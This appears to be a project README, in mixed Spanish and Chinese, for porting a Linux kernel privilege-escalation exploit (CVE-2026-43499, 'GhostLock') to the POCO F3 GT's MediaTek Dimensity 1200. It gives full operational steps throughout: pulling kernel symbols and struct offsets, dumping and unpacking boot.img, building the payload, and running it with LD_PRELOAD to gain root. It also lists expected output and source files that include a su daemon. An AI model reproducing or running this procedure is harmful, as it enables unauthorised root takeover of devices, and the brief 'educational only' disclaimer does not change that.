
GhostLock (CVE-2026-43499) exploit para POCO F3 GT (aresin) — escalada de privilegios del kernel Linux 4.14.186 ARM64 de MediaTek Dimensity 1200 mediante manipulación de la cadena PI de futex
Exploit de sobrescritura de physmap solo con datos para MediaTek Dimensity 1200 (MT6893).
Kernel: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM.
| Condición | Estado | Descripción |
|---|---|---|
| Rango de versión del kernel | ✅ | 4.14.186 está dentro del rango 2.6.39 ~ 7.0.4 |
| CONFIG_FUTEX_PI | ✅ | Habilitado (y) |
| CONFIG_RT_MUTEXES | ✅ | Habilitado (y) |
| Arquitectura | ✅ | aarch64 |
| CONFIG_PREEMPT | ✅ | Habilitado (y) |
| CONFIG_RANDOMIZE_KSTACK | ❓ | Requiere confirmación (4.14 puede no ser compatible) |
# 在设备上运行提取脚本
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt
Si tienes root (Magisk), puedes extraer directamente desde /proc/kallsyms:
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"
# 1. 获取 boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img
# 2. 用 magiskboot 解包
magiskboot unpack boot.img
# 产物: kernel (压缩的 vmlinux)
# 3. 解压 vmlinux
magiskboot decompress kernel vmlinux.elf
# 4. 用 pahole 提取结构体偏移
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"
vmlinux.elf con Ghidrart_mutex_waiter y task_structRellena los offsets extraídos en todas las posiciones 0xTODO de target.h.
Tabla de offsets clave de referencia:
# 需要 Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
# 或使用 Android Studio 中的 NDK
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973
# 编译
make preload TARGET_HEADER=target.h
# 产物: build/bin/preload.so
# 推送到设备
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true
# 运行
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
# 或用 Shizuku
# 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
La estructura rt_mutex_waiter es diferente:
plist_node en lugar de rb_nodedeadline / ww_ctxEl diseño de task_struct es diferente:
pi_blocked_on, pi_lock, etc. en 4.14.x difieren de los de 6.1.xuclamp pueden no existir en 4.14.xLa implementación de KASLR es diferente:
Diferencias de seguridad entre Android 13 y 14:
/proc/self/pagemap pueden ser diferentesDespués de rellenar los offsets, se recomienda realizar una verificación cruzada con Ghidra:
rt_mutex_waitertarget.hghostlock-aresin/
├── README.md # 本文件
├── Makefile # 编译脚本
├── target.h # 目标设备偏移定义 (需要填写)
├── src/ # 源码
│ ├── main.c # 主利用逻辑
│ ├── util.c # 工具函数
│ ├── slide.c # KASLR 泄漏
│ ├── fops.c # 文件操作
│ ├── pipe.c # pipe 相关
│ ├── preload.c # LD_PRELOAD 入口
│ ├── su_daemon.c # su 守护进程
│ ├── su_blob.S # su 二进制嵌入
│ ├── standalone.c # 独立运行
│ ├── common.h # 公共定义
│ └── offset.h # 偏移计算
├── tools/
│ └── extract_offsets.sh # 偏移提取脚本
└── build/
├── bin/ # 编译产物
└── embed/ # 嵌入文件
Solo con fines de investigación/educativos. Úsalo bajo tu propio riesgo.
PoC original: NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/
Adaptado para: POCO F3 GT (aresin) por ghostlock-aresin
| Campo | Descripción | Método de extracción |
|---|
INIT_TASK | Dirección de init_task | /proc/kallsyms o Ghidra |
INIT_CRED | Dirección de init_cred | /proc/kallsyms o Ghidra |
WAITER_*_OFF | Offsets de campos de rt_mutex_waiter | pahole / Ghidra |
FAKE_TASK_*_OFF | Offsets de campos de task_struct | pahole / Ghidra |
TASK_CRED_OFF | Offset del puntero cred | pahole / Ghidra |
| Etapa | Salida | Descripción |
|---|
| Inicialización | [*] GhostLock - aresin (MT6893 D1200) 4.14.186 | Dispositivo identificado correctamente |
| Vinculación de CPU | [+] CPU0 pinned | Vinculado a CPU0 |
| Carga de direcciones | [*] init_task @ 0xffffffc00xxxxxxx | Dirección LM fija |
| Comprobación de privilegios | [+] uid: xxxxx | Imprime el uid actual |
| KASLR slide | [+] slide = 0 o slide = xxx | Detección de KASLR |
| Disparo de escalada | Tras el éxito, el uid cambia a 0 | Se obtiene root |
| Fracaso | [-] ... + reinicio | Pánico del kernel (la vulnerabilidad existe, pero los offsets necesitan ajustes) |